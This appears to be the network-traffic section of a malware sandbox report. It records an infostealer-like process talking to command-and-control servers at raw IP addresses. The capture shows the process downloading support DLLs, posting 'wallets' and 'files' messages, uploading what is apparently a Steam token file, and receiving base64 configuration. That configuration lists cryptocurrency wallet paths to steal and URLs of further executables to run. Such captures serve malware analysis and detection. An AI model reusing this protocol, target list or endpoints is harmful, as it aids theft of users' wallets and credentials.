
Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 19:37:40.823694944 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 15, 2024 19:37:41.453464031 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 15, 2024 19:37:41.453494072 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 8c 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 Data Ascii: Ut]h6h{t]UtH]h6h{t1]Ut$]h6h{t]
Sep 15, 2024 19:37:41.453510046 CEST	1236	IN	Data Raw: c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0c 8b 48 10 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 Data Ascii: UtH]h6h{t]UtH]h6h{t]UtH]h6h{t]Ut]h6h{
Sep 15, 2024 19:37:41.453526974 CEST	1236	IN	Data Raw: 8b 48 74 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 7c 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 Data Ascii: Ht]h6h{t]Ut\|]h6h{t1]Ut]h6h{t]Ut]h6h{t]
Sep 15, 2024 19:37:41.453541994 CEST	1236	IN	Data Raw: 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 c4 00 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 Data Ascii: h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t1]Ut
Sep 15, 2024 19:37:41.453557968 CEST	1236	IN	Data Raw: a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 28 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 c7 05 0c Data Ascii: Ut(]h6h{t]Uh*m{tuQ\|]Ut@]h6h{t]U
Sep 15, 2024 19:37:41.453680038 CEST	896	IN	Data Raw: 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 8c 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb Data Ascii: {t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t]Ut]
Sep 15, 2024 19:37:41.453696012 CEST	1236	IN	Data Raw: 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 dc 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 Data Ascii: {t]Ut]h6h{t]Ut$]h6h{t]Ut(]h6h{t1]UtD]
Sep 15, 2024 19:37:41.453711033 CEST	1236	IN	Data Raw: 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 d4 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 Data Ascii: Ut]h6h{t]Ut]h6h{t1]Ut]h6h{t]Ut]h6h{
Sep 15, 2024 19:37:41.453726053 CEST	1236	IN	Data Raw: 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 2c 03 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 Data Ascii: ]h6h{t]Ut,]h6h{t]Ut0]h6h{t]Ut4]h6h{t]U
Sep 15, 2024 19:37:41.458468914 CEST	1236	IN	Data Raw: 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 a4 03 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff Data Ascii: {t]Ut]h6h{t]Ut]h6h{t]UWVhHftlheP{tDt6Hu"
Sep 15, 2024 19:37:42.115695953 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 15, 2024 19:37:42.429506063 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 15, 2024 19:37:42.608763933 CEST	199	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFHDBAAECAAKFHDHII Host: 46.8.231.109 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Sep 15, 2024 19:37:42.924999952 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 15, 2024 19:37:42.944446087 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIEHIIEHIEHJKEBKEHJ Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 2d 2d 0d 0a Data Ascii: ------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="message"wallets------DHIEHIIEHIEHJKEBKEHJ--
Sep 15, 2024 19:37:43.122143030 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 15, 2024 19:37:43.124712944 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEH Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 2d 2d 0d 0a Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="message"files------BFCFBKKKFHCFHJKFIIEH--
Sep 15, 2024 19:37:43.302252054 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 15, 2024 19:37:43.311094999 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDGCGDBGCAAEBFIECGH Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="file"------HJDGCGDBGCAAEBFIECGH--
Sep 15, 2024 19:37:43.518249989 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 15, 2024 19:37:43.523422956 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKEBAFIIECBGCAAAAFC Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 2d 2d 0d 0a Data Ascii: ------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="message"ybncbhylepme------BAKEBAFIIECBGCAAAAFC--
Sep 15, 2024 19:37:43.737281084 CEST	371	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 144 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 30 4e 79 34 30 4e 53 34 30 4e 43 34 78 4d 44 51 76 63 48 4a 76 5a 79 38 32 4e 6d 55 30 4d 47 49 79 5a 54 68 68 4e 54 4a 6c 58 32 78 6d 63 32 52 71 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 78 6f 64 48 52 77 63 7a 6f 76 4c 32 4a 79 59 58 4e 7a 64 47 56 6a 61 43 35 70 62 69 39 32 62 6d 5a 6b 59 57 31 6d 63 79 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 52 38 Data Ascii: aHR0cDovLzE0Ny40NS40NC4xMDQvcHJvZy82NmU0MGIyZThhNTJlX2xmc2RqLmV4ZXwwfDB8U3RhcnR8NHxodHRwczovL2JyYXNzdGVjaC5pbi92bmZkYW1mcy5leGV8MHwwfFN0YXJ0fDR8
Sep 15, 2024 19:37:45.840210915 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJ Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 2d 2d 0d 0a Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KKFCFBKFCFBFIDGCGDHJ--
Sep 15, 2024 19:37:46.282561064 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49758	147.45.44.104	80	2632	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 19:37:43.745704889 CEST	92	OUT	GET /prog/66e40b2e8a52e_lfsdj.exe HTTP/1.1 Host: 147.45.44.104 Cache-Control: no-cache
Sep 15, 2024 19:37:44.398339033 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:44 GMT Content-Type: application/octet-stream Content-Length: 329256 Last-Modified: Fri, 13 Sep 2024 09:51:42 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e40b2e-50628" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d2 0a e4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d4 04 00 00 0a 00 00 00 00 00 00 2e f3 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 f2 04 00 4b 00 00 00 00 00 05 00 18 06 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 28 26 00 00 00 20 05 00 0c 00 00 00 a8 f1 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf. @ @`K(& H.text4 `.rsrc@@.reloc @BH(W0}3qX],Z%&+)e\\|m-P,AB?S#s0l5%c+Eq*k5~,?9-Q}H9gV+@rpmOE25=\b>wmYjrS0h}qKezRnDRClCM\|:yMkuZeeE^3:6W=:hdiGe5.F5%u5hnfh<[3GK
Sep 15, 2024 19:37:44.398396015 CEST	1236	IN	Data Raw: 3e 25 7e b0 da 60 a1 a7 9f b6 79 4a 68 73 b5 e1 5d 0d 1c 78 54 55 3a d4 34 18 b2 aa 54 db 3f 39 d0 c0 d4 70 fd a9 0b a9 e9 e5 7a 3f 0e cc 52 de ef 6d 3c 65 2b b0 2a e6 aa 2c ef 85 f0 3a 4b e0 2d 5f d9 1e a5 54 5c 98 73 f4 4f 17 6e 81 90 ec d0 63 Data Ascii: >%~`yJhs]xTU:4T?9pz?Rm<e+,:K-_T\sOncnZ:!t%Q ^\|4\yp.t9`wE&e>8Mv\?QYogR;_QJ?0ZR@M'5ctp5_?
